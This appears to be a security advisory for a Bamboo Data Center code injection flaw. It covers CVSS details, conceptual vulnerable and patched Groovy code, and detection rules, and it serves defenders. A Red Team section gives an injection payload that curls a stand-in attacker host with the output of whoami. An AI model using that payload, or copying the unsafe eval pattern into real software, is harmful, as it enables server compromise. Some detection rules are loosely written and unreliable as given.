CVE-2026-21570

Executive Summary

CVE-2026-21570 is a High severity Remote Code Execution (RCE) vulnerability affecting Atlassian Bamboo Data Center. An authenticated attacker can exploit this flaw to execute arbitrary code on the underlying server, leading to full system compromise. The vulnerability exists in multiple version lines (9.6.x, 10.2.x, 12.1.x) and has a CVSS score of 8.6. No public proof-of-concept (PoC) or exploit code has been released at this time. Immediate patching to the specified fixed versions is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 8.6 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker must be authenticated
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical for any organization running an affected version of Bamboo Data Center. The low attack complexity and network vector make this a prime target for attackers who have already gained low-privilege access.

Deep Dive & Mechanics

The vulnerability resides in the Bamboo Data Center's handling of user-supplied input during build or agent configuration. An authenticated attacker can inject malicious code that is then executed by the Bamboo server process. The exact vulnerable component is not publicly disclosed, but the CWE-94 classification indicates improper control of code generation (Code Injection).

The attack flow is:

1. Attacker authenticates to the Bamboo web interface.
2. Attacker crafts a malicious payload within a build plan, agent configuration, or similar feature.
3. The Bamboo server processes the input without proper sanitization or validation.
4. The injected code is executed in the context of the Bamboo server, allowing arbitrary command execution.

Vulnerable vs. Patched Code

Since no specific vulnerable code snippet is publicly available, the following is a representative example of the type of flaw that could exist.

Vulnerable Code (Conceptual):

// Insecure: Directly evaluates user input as code
String userInput = request.getParameter("buildScript");
ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
engine.eval(userInput);

Patched Code (Conceptual):

// Secure: Input is validated and executed in a sandboxed environment
String userInput = request.getParameter("buildScript");
if (isValidScript(userInput)) {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
    // Apply sandbox restrictions
    engine.setBindings(new SimpleBindings(), ScriptContext.GLOBAL_SCOPE);
    engine.eval(userInput);
} else {
    throw new SecurityException("Invalid script input");
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to an affected Bamboo Data Center instance (e.g., version 12.1.0).
• Valid low-privilege credentials.

Exploitation Steps:

1. Log in to the Bamboo web interface.
2. Navigate to a build plan or agent configuration that accepts script input.
3. Inject a payload such as:

   ; /bin/bash -c 'curl http://attacker.com/$(whoami)'
   

4. Trigger the build or configuration change.
5. Observe the callback on the attacker-controlled server.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual build plan modifications by low-privilege users.
2. Enable detailed logging of all script execution events in Bamboo.
3. Deploy a Web Application Firewall (WAF) rule to block common code injection patterns.
4. Restrict network egress from Bamboo servers to prevent outbound callbacks.

Indicators of Compromise (IOCs)

• Network: Outbound connections from Bamboo server to unknown IPs on ports 80/443.
• File System: Unexpected files in the Bamboo installation directory (e.g., /opt/atlassian/bamboo/).
• Process: Unusual child processes spawned by the Bamboo Java process (e.g., bash, curl, wget).
• Logs: Entries in atlassian-bamboo.log containing suspicious script execution or error messages.

Detection Engineering

YARA Rule

rule CVE_2026_21570_Bamboo_RCE {
    meta:
        description = "Detects potential exploitation of CVE-2026-21570 in Bamboo logs"
        author = "Valters IT"
        date = "2026-01-01"
    strings:
        $s1 = "eval("
        $s2 = "ScriptEngine"
        $s3 = "groovy"
        $s4 = "Runtime.getRuntime().exec"
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: CVE-2026-21570 Bamboo RCE Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects suspicious script execution in Bamboo logs
logsource:
    product: atlassian
    service: bamboo
detection:
    selection:
        EventID: 1000
        Message|contains:
            - 'eval('
            - 'ScriptEngine'
            - 'groovy'
    condition: selection
falsepositives:
    - Legitimate use of Groovy scripts by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-21570 Bamboo RCE Outbound Callback"; flow:to_server,established; content:"POST"; http_method; content:"/rest/api/latest/"; http_uri; content:"buildScript"; http_client_body; pcre:"/(eval|exec|system|passthru)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to the following fixed versions:
   • Bamboo Data Center 9.6.24 or later
   • Bamboo Data Center 10.2.16 or later
   • Bamboo Data Center 12.1.3 or later
2. Workaround: If patching is not immediately possible, restrict network access to the Bamboo web interface and enforce strict input validation.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with rules to block code injection.
• Enable comprehensive logging and monitoring for all Bamboo components.
• Conduct regular security audits of build configurations and agent scripts.
• Apply the principle of least privilege to all Bamboo users.

Valters IT – Securing your infrastructure, one CVE at a time.